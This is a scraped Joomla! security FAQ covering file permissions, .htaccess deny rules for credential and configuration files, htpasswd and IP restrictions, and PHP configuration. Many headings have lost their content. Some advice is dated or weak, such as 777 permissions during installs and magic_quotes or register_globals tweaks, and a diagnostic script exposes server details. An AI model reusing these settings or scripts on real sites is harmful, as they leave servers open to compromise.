![]() |
Languages: |
English |
It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although some have tried. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:
Applications | Industry Leader | Cost |
---|---|---|
GNU/Linux | Yes | 0 |
Apache Web Server | Yes | 0 |
MySQL Relational Database | Yes | 0 |
PHP Scripting Language | Yes | 0 |
Joomla! Content Management System | Yes | 0 |
Thousands of Joomla Extensions | Varies | 0 |
Support | Relative Quality | Cost |
Joomla! Project Leadership Team | High | 0 |
Joomla! Forge | High | 0 |
Joomla! Online Forums | High | 0 |
Joomla! Documentation | Medium | 0 |
Thousands of Online Volunteers | High | 0 |
Paid Professional Support | Widely Available | 0 |
Total | 0 |
The Security Checklist is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.
A very good question, and sadly one that many did not ask in time. We proudly present the Top 10 Stupidest Administrator Tricks.
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.
Full Backups
Cumulative Backups
Incremental Backups
Data Protection Best Practice says
Overview
Directions
Overview
Directions
Overview
Joomla! 1.0.13
Joomla! 1.0.12 and earlier
define('RG_EMULATION',1)
define('RG_EMULATION',0)
Error 1 = FATAL ERROR: MySQL not supported...
You need to compile MySQL support into PHP or the MySQL server is down.
Error 2 = FATAL ERROR: Connection to database ...
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in configuration.php, or you are trying to access a database table with the wrong table prefix.
Error 3 = FATAL ERROR: Database not found...
The database cannot be found. Check the database settings in configuration.php
The MySQL variables in configuration.php (found in Joomla!'s root directory) can be modified to correct these problems.
For Joomla! 1.0.xx
$mosConfig_host = 'localhost'; $mosConfig_user = 'accountname__username'; $mosConfig_password = 'userpassword'; $mosConfig_db = 'accountname_dbName'; $mosConfig_dbprefix = 'jos_';
Modifying the $mosConfig_host to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;
Owner Permissions : Control your own access to files. Group Permissions : Control access for you and anyone in your group. Other Permissions : Control access for all others.
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.
What do Unix permissions look like?
When viewing your files through an FTP client or from the servers command line;
filename.php username usergroup rwx r-x r-x
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.
Owner (User) relates to username
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.
Group relates to usergroup
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.
Other relates to everyone else
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;
r = Read permissions w = Write permissions x = Execute permissions
Owner Group Other r w x r w x r w x
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.
Owner Group Other r w x r w x r w x 4 2 1 4 2 1 4 2 1
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.
Owner Group Other r w x r w x r w x 4 2 1 4 2 1 4 2 1
Thus...
4+2+1 4+2+1 4+2+1 = 7 7 7
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;
Files = 644 Directories = 755
These permissions would allow, for files;
644 = rw- r-- r-- Owner has Read and Write Group has Read only Other has Read only
and for directories;
755 = rwx r-x r-x Owner has Read, Write and Execute Group has Read and Execute only Other has Read and Execute only
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.
640 = rw- r-- --- Owner has Read and Write Group has Read only Other has no rights
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.
750 = rw- r-x --- Owner has Read and Write Group has Read and Execute Other has no rights
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.
How Does this Relate to Joomla?
Good question, well in the first instance this would be important during the Web-Installer process. If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term writable is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where write permissions maybe set;
Owner Writable Group Writable Other Writable
Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not writable.
In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer. So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions maybe reset back to 755 after the installer runs to assist in the security of your directories and files.
757 = rwx r-x rwx Owner has Read, Write and Execute Group has Read and Execute Other has Read, Write and Execute
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the other permissions, may not be required, now you may only need to configure directories to be writable to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.
755 = rwx r-x r-x Owner has Read, Write and Execute Group has Read and Execute Other has Read and Execute
775 = rwx rwx r-x Owner has Read, Write and Execute Group has Read, Write and Execute Other has Read and Execute
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.
644 = rw- r-- r-- Owner has Read, Write Group has Read Other has Read
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.
If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!
I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644 Directories = 755
These permissions would allow, for files;
644 = rw- r-- r-- Owner has Read and Write Group has Read only Other has Read only
and for directories,
755 = rwx r-x r-x Owner has Read, Write and Execute Group has Read and Execute only Other has Read and Execute only
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:
find . -type f -exec chmod 644 {} \; find . -type d -exec chmod 755 {} \;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the configuration.php file.
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.
If you decide to use caching the cache directory will need to be writable by the Web server user to allow it to write its temporary files.
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.
Directions
Optional
Short answer
Potentially, yes. Your site can be secure, but you must be careful and vigilant.
Long answer
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.
As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.
The incredible lightness of living outside the fence
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.
Joomla! defense
Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.
The challenge
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.
To (Deny, then Allow), or (Allow, then Deny)?
The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.
Consider the logic for a password authentication script. We have essentially two choices:
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.
The good news
There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.
define( 'JPATH_ROOT' , implode( DS, $parts ) ); define( 'JPATH_SITE' , JPATH_ROOT ); define( 'JPATH_CONFIGURATION', JPATH_ROOT ); define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' ); define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' ); define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );
.DS. = Directory Seperator
<Files .htaccess> order allow,deny deny from all </Files>
<FilesMatch "configuration.php"> Order allow,deny Deny from all </FilesMatch>
You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' ( ' and ' ) ' in this rule are the file extensions to protect ):
<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$"> Order allow,deny Deny from all </FilesMatch>
Using Joomla! Administration
In the Back-end, go to Site --> Global Configuration --> Server.
Using the UNIX shell
Note: The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.
find . -type f -exec chmod 644 {} \; find . -type d -exec chmod 755 {} \; chmod 707 images chmod 707 images/stories chown apache:apache cache
Notes:
Use Joomla version 1.5 or newer
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.
More Help
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.
A list of currently known vulnerable extensions.
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:
1. When was the last version released?
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)
3. Does the extension have a history of good security practices?
4. Is there a support community for this extension?
5. Is there only a Mambo version of this extension?
6. Is the extension generally bug free?
Bad Practices:
Bugs:
Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.
1. How complex is the extension?
2. Does the extension read or write files to your server?
3. Does the extension interact with other programs on your system?
4. Does the extension run with suid (set-user-id) privileges?
5. Does the extension validate all user input, such as in form fields and in the URL?
6. Does the extension use explicit path names when invoking external programs?
7. Is the extension secure against direct access throught the URL?
8. Is the extension secure against remote file inclusions?
9. Is the extension secure against SQL injections?
10. Is the extension secure against Cross Site Scripting (XSS)?
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?
12. Does the extension provide higher database access to less privileged users?
Overview
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.
To be safe, you must verify the security of every extension you install.
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.
Disclaimer
It's just a warning! You are of course free to install any extension you want onto your own site, but remember that YOU are responsible for the safety of your site and the quality of the applications you install.
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.
The Vulnerable Extensions List is a valuable source of information on what NOT to install.
Overview
www.your_site.org/components/com_bad_component/vulnerable_file.php www.your_site.org/modules/mod_bad_module/vulnerable_file.php
Directions for removing a vulnerable extension
1. Make a list of files to remove
mod_vulnerable.php mod_vulnerable/vulnerable_file.txt mod_vulnerable/another_vulnerable_file.txt mod_vulnerable/yet_another_vulnerable_file.txt mod_vulnerable/index.html
2. Uninstall via the Joomla Installer:
3. Check that the uninstall process was complete:
4. Optionally, remove related database tables:
Covers information on Apache Web server, Apache modules, .htaccess files, etc.
Overview
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.
Quality hosting providers customize mod_security rules to suit each customer.
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box usually works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.
Overall, mod_security is a excellent tool, but this is really something your host should manage.
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding SecFilterScanPOST Off to your .htaccess file.
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:
Resources
Directions
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.
Sample Apache Rewrite Rule
RewriteRule ^phpMyAdmin /index.php [L] RewriteRule ^phpMyAdmin - [F]
Some Regular Expression Tips
^ Means start of pattern . Means any character other than newlines + Means one or more of the previous character * Means zero or more of the previous character $ Means end of pattern \. Literal periods must be escaped with a leading \
Introduction
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off
Directions
1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.
2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.
php_flag register_globals off
php_flag allow_url_fopen off
php_flag magic_quotes_gpc on
Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.
3. Save the .htaccess file in your site's home directory.
4. Test your site's front end and back end.
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.
1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.
3. Place ONLY the following lines in your .htaccess file in the domain root folder.
Options +FollowSymLinks RewriteEngine On RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]
4. Point your browser to: http://www.example.com/joomla.html
(Replace 'example.com' with your site's actual URL.)
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.
6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:
Options +FollowSymLinks RewriteEngine On RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]
Overview
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.
IMPORTANT CAVEAT: One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.
Requirements
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host. 2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host. 3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.
Directions
1. Check to be sure your site is configured to use .htaccess files.
2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.
AddType x-mapp-php5 .php AddHandler application/x-httpd-php5 .php AddHandler cgi-php5 .php
4. Carefully test.
5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.
Overview
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.
Caveat (From Apache.org)
Basic authentication should not be considered secure for any particularly rigorous definition of secure. Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.
Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.
Directions
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first. Apache Authentication, Authorization, and Access Control
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.
/home/mysite/public_html/.htaccess /home/mysite/auth/.htpasswd/ /home/mysite/auth/.htgroups/
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.
AuthUserFile /home/auth/.htpasswd AuthGroupFile /home/auth/.htgroups AuthType Basic AuthName "LWS" require group admins
8. Test carefully.
9. Remove all backup .htaccess files from public_http directories.
10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.
.htaccess Generator: http://www.webmaster-toolkit.com/htaccess-generator.shtml
Overview
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.
Directions
Order Deny,Allow Deny from all Allow from 100.100.100.100
100.100.100.101, 100.100.100.102
Introduction
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.
Directions
More Information
Caveats
Directions
RewriteEngine On RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC] RewriteCond %{HTTP_REFERER} !^$ RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]
Explanation
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.
Block hot linking from specific domains
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:
RewriteEngine On RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR] RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR] RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC] RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.
Display a 403 forbidden code
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:
RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]
Check the official PHP download page for information on the latest PHP release.
ob_start ("ob_gzhandler"); header("Content-type: text/css"); header("Cache-Control: must-revalidate"); $offset = 60 * 60 ; $ExpStr = "Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT"; header($ExpStr);
There are two ways to configure Apache to use PHP:
(PS: Windows IIS normaly configures as CGI by the way)
It is the intention of this post to provide you information relating to the configuration and recognition of each method. "In general" historically only one method or the other has been implemented, however, with the architectural changes made to PHP starting with PHP5, it has been quite common for hosting firms to configure for both. One version running as CGI and one version running as a Module. It is generally accepted more recently that running PHP as a CGI is more secure, however, running PHP as an Apache Module does have a slight performance gain and is generally how most pre-configured systems will be delivered out of the box.
What is the difference between CGI and apache Module Mode?
An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load).
CGI Mode on the other hand, is more secure because the server now manages and controls access to the binaries. PHP can now run as your own user rather than the generic Apache user. This means you can put your database passwords in a file readable only by you and your php scripts can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>
can now be more restrictive. CGI mode is also claimed to be more flexible in many respects as you should now not see, with phpSuExec ( refer " target="_blank Permissions under phpSuExec issues with file ownership being taken over by the Apache user, therefore you should no-longer have problems under FTP when trying to access or modify files that have been uploaded through a PHP interface, such as Joomla! upload options.
If your server is configured to run PHP as an Apache module, then you will have the choice of using either php.ini or Apache .htaccess files, however, if your server runs PHP in CGI mode then you will only have the choice of using php.ini files locally to change settings, as Apache is no longer in complete control of PHP.
Testing and Reviewing Your PHP Installation
Also known as "Everything you ever wanted and didn't want to know about PHP"
To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines;
</p>
phpinfo();
This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />
Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.
Other useful information
The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...
Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server.
<?
echo "Hostname: ". @php_uname(n) .""; if (function_exists( 'shell_exec' )) { echo "Hostname: ". @gethostbyname(trim(`hostname`)); } else { echo "Server IP: ". $_SERVER['SERVER_ADDR'] .""; } echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) .""; echo "Architecture: ". @php_uname(m) .""; echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )"; echo "Curent Path: ". getcwd () .""; echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . ""; echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . ""; echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] .""; echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] .""; echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] ."";
?>
The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also providing a large amount of other related information including recommendations on configuration.
Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. Download JTS Here
